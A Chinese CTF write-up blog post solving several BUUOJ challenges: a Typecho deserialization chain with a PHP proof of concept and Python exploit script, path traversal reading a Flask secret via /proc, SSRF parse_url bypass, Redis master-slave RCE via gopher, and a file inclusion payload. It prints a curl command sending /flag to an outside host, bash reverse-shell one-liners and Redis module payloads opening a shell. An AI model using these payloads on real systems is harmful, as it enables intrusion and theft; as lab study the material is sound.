BUUOJ刷题记录(三)

BUUOJ刷题记录(三)

摘要: 刷题记录

GKCTF2020 EZ三剑客-EzTypecho

考点一:Typecho反序列化漏洞

可以拿网上POC直接打,这里我自己走一遍流程学习下漏洞原理。

install.php 231行存在一个反序列化点,反序列化后的对象赋值给$config

跟进到get里,是从cookie或post参数里取值

而后,new一个Typecho_Db对象,跟进构造函数

第120行,存在字符串拼接,联想到__toString()函数,而后全局搜索可利用的__toSting(),进入到Feed.php,291行存在属性访问

联想到__get()函数,全局搜索__get()函数,进入到Request.php,追溯到get()函数

$value可控,跟进到_applyFilter(),发现call_user_func(),至此利用链构造完成。

撰写POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Typecho_Feed{
private $_items = array();
function __construct(){
$this->_items[0] = array();
$this->_items[0]['author'] = new Typecho_Request();
}
}

class Typecho_Request{
private $_filter = array();
private $_params = array();
function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'eval';
}
}

$a = new Typecho_Feed();
echo base64_encode(serialize(array("adapter"=>$a, "prefix"=>"typecho_")));

payload打过去会提示无法序列化缺少session

考点二:session.upload_progress.enabled进行文件包含和反序列化漏洞利用

以上没有session_start(),故没有session文件。根据这篇文章,https://www.freebuf.com/vuls/202819.html

问题一

代码里没有session_start(),如何创建session文件呢。

解答一

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

综上,我们可以这样绕过session:

1、Cookie中加入PHPSESSID=hn13,php在服务器上创建/tmp/sess_hn13文件;

2、POST一个名为PHP_SESSION_UPLOAD_PROGRESS,此值和ini.get(“session.upload_progress.prefix”)的返回值拼接的内容写入到上述文件中;

3、第二步需要配合文件上传使用。

python脚本如下:

要求从本站跳转故有referer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
# @Author : Hn13
# @Blog : https://www.hn13.top
import requests

url = "http://221b9d10-915b-4210-8b0b-bea2d762a579.node3.buuoj.cn/install.php?finish=1"

file = {"hn13": "123456"}

headers = {
"Cookie": "PHPSESSID=hn13; __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6ImNhdCAvZmxhZyI7fX19fXM6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7fXM6NjoicHJlZml4IjtzOjQ6ImhuMTMiO30=; UM_distinctid=175bba89ab0b04-0f5480d5f3ec76-230346c-1fa400-175bba89ab1a52; _ga=GA1.2.242102816.1605543853; __typecho_lang=zh_CN",
"Referer": "http://221b9d10-915b-4210-8b0b-bea2d762a579.node3.buuoj.cn/install.php",
}

data = {
"PHP_SESSION_UPLOAD_PROGRESS": "123456"
}

r = requests.post(url=url, files=file, data=data, headers=headers )
print(r.text)

header,加必要的就行。

网鼎杯2020 白虎组 PicDown

存在目录穿越漏洞

考点一:/proc/pid/cmdline 查看运行当前进程的命令语句和/proc/pid/fd/`fdid`查看文件描述符对应的内容

https://blog.csdn.net/shenhuxi_yu/article/details/79697792

Proc 是一个虚拟文件系统,在Linux 系统中它被挂载于/proc 目录之上。Proc有多个功能 ,这其中包括用户可以通过它访问内核信息或用于排错,这其中一个非常有 用的功能,也是Linux 变得更加特别的功能就是以文本流的形式来访问进程信息。很多Linux 命令( 比如 ps 、toPpstree 等) 都需要使用这个文件系统的信息。注意, 本文就是向用户介绍一些访问这些信息的方法 。需要说明的是,本文所述的内容并不 一定适用所有内核版本,有部分操作只适用于2.6 内核。

使用上面的cmdline直接获得源码名字app.py,直接读源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

注意到no_one_know_the_manager路由,需要secret_key。无法读取。

注意到open函数打开,会创建文件描述符,可以使用proc/self/fd/3读取open的文件内容。这里的3是因为012文件描述符已被占用,0入1出2错误,故新建的文件描述符为3。

考点二:反弹shell带出数据

其实也可以不用反弹shell,用BUUOJ自带的requestbin 直接curl payload如下:

1
http://4e7a48bd-9527-47fd-acb5-d593e16390d7.node3.buuoj.cn/no_one_know_the_manager?key=/CY7P2Qufy4BJ1n4Tv8ukmKsuIFxeUyGh5MXLOLJm/M=&shell=curl%20-X%20POST%20-d%20%22fizz=`cat /flag`%22%20http://http.requestbin.buuoj.cn/sblykisb

反弹shell带出,这里来深入理解下反弹shell原理

https://xz.aliyun.com/t/2549?spm=5176.12901015.0.i12901015.2f9e525cY6ZikO

1
bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

bash -i 是常见的linux shell,-i表示产生一个交互式的shell;/dev/tcp/ip/port用于建立一个远端通信。

另一种反弹shell

1
bash -i >& /dev/tcp/ip/port 0>&1

>&表示将输出错误都重定向到攻击机,而后的0>&1,则表示将标准输入也重定向到攻击机,这里的&是为了区分数字名文件和文件描述符

网鼎杯2020 玄武组 SSREme

考点一:cURL与parse_url的解析差异

尝试阅读parse_url去理解parse_url解析主机名的机制。以下的分析参考这篇文章,建议先过一遍这篇文章再看我的。

php源码在这里可以看。

第374行是parse_url的定义

直接进入到php_url_parse_ex这个函数里,在第97行,

我们直接跳到解析登录和密码的模块,第243行:

进入zend_memrchr(),这个函数在Zend/zend_operators.h中有定义,第186行。

红框中位置,是从后往前来检测我们要查找的字符(这里是@),故我们的payload

1
http://[email protected]:[email protected]/hint.php

baidu.com就变成了这里的host了,自然绕过了检测。

DNS重绑定

浅谈DNS重绑定漏洞

工具网站

比较有意思的是这个漏洞的利用可以绕过同源策略:

对于WEB的同源策略相信大家都很熟悉,如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源,而不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。

当然,页面中的链接,重定向以及表单提交是不会受到同源策略限制的,并且,跨域资源的引入是可以的。但是js不能读写加载的内容。

同源策略确实提高了web的安全性,但是对于DNS Rebinding来说是没有作用的,因为同源策略看的是域名,并不是背后的IP地址,虽然两次的请求IP地址不同,但是由于DNS服务器的绑定,域名都是一样的,那么自然不违反同源策略.

非预期解:0.0.0.0

1
http://0.0.0.0/hint.php

0.0.0.0代表本机的所有ipv4地址。

考点二:redis 主从复制RCE

先过一遍操作流程,用到这几个脚本

payload构造+主服务器伪造 这里很奇怪我没法使用里面脚本构造出来的payload打。我用的是自己手动构造的,脚本如下:

1
2
3
4
5
6
<?php
echo urlencode("gopher://0.0.0.0:6379/_auth%20root%0aconfig%20set%20dir%20/tmp/%0aquit");
echo "\n";
echo urlencode("_auth%20root%0aconfig%20set%20dbfilename%20exp.so%0aslaveof%20172.16.169.216%206666%0aquit");
echo "\n";
echo urlencode("_auth%20root%0amodule%20load%20/tmp/exp.so%0asystem.rev%20172.16.169.216%206663%0aquit");

这里使用里面的rogue-server.py伪造主服务器,端口号为6666,而后监听本机6663端口进行反弹shell的接收。

原理:

基于知道创宇这篇博客学习

  • Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

  • Redis模块

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

以下是具体的操作流程图:

回到我们上面的payload:

1
2
3
4
5
6
7
8
9
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 172.16.169.216 6666
quit

gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 172.16.169.216 6663
quit

这边先使用config set将本地的数据库文件设置为我们的exp.so,而后将本地的redis作为从机连接到我们的攻击机(这个过程需要我们在攻击机架设起模拟的redis服务器,使用的是上面的rogue-server.py这个脚本),然后退出。下一条指令,加载exp.so模块,而后执行模块里的system.rev反弹shell命令。

扩展一下:

  • RESP协议

redis服务器之间通过RESP协议进行通信,既然如此,我们只要掌握了该协议就相当于能够进行请求的伪造与redis服务器进行通信,这也就是上面我们gopher打payload以及rogue-serger.py的原理。

这里有个疑问就是,一开始我使用RESP协议构造出来的payload打不通,但是后面简单的列出执行语句却可以打通这是为什么呢?

网鼎杯2020 半决赛 AliceWebsite

考点:无任何过滤本地文件包含

这题太无脑了,payload

1
../../../../../flag

评论